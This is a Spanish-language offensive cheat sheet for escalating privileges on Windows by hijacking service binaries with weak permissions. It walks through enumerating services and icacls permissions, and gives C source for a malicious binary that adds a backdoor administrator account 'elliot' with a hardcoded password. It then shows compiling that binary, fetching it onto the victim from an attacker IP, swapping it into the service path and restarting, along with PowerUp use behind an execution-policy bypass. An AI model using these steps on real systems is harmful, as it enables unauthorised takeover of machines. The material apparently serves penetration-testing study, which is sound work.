Servicios de Windows
Enumeración de servicios en ejecución
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Get-CimInstance
: Es un cmdlet de PowerShell que se utiliza para obtener instancias de clases CIM (Common Information Model) o WMI (Windows Management Instrumentation).-ClassName win32_service
: Especifica la clase WMI que se va a consultar. En este caso, win32_service es una clase que contiene información sobre los servicios de Windows.
Enumeración de la configuración del servicio
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<SERVICE>'}
Mascara de Permisos icacls
Mask | Permissions |
---|---|
F | Full access |
M | Modify access |
RX | Read and execute access |
R | Read-only access |
W | Write-only access |
Enumeración de Permisos
icacls "C:\Ruta\al\binario\<binario>"
adduser.c
En nuestra máquina atacante, creamos un binario malicioso el cual crea un nuevo usuario y lo agrega al grupo de administradores.
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user elliot Password123@! /add");
i = system ("net localgroup administrators elliot /add");
return 0;
}
Compilamos el código
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Transferimos el binario a la máquina víctima.
iwr -uri http://192.168.56.5/adduser.exe -Outfile adduser.exe
Movemos el binario a la ruta correspondiente
move .\adduser.exe "C:\Ruta\al\binario\<binario>"
Ejecución
net stop <SERVICE>
net start <SERVICE>
Alernativamente si no tenemos privilegios para reiniciar el servicio, podemos comprobar si el servicio se inicia al iniciar el sistema y si tenemos la capacidad para reiniciar la máquina.
whoami /priv
Deberíamos ver el privilegio SeShutdownPrivilege
Por ultimo ejecutamos:
shutdown /r /t 0
PowerUp
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name '<SERVICE>'
Enumeración de propiedades de ejecución del servicio
$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe' | Get-ModifiablePath -Literal
$ModifiableFiles
$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe argument' | Get-ModifiablePath -Literal
$ModifiableFiles
$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe argument -conf=C:\temp\path' | Get-ModifiablePath -Literal
$ModifiableFiles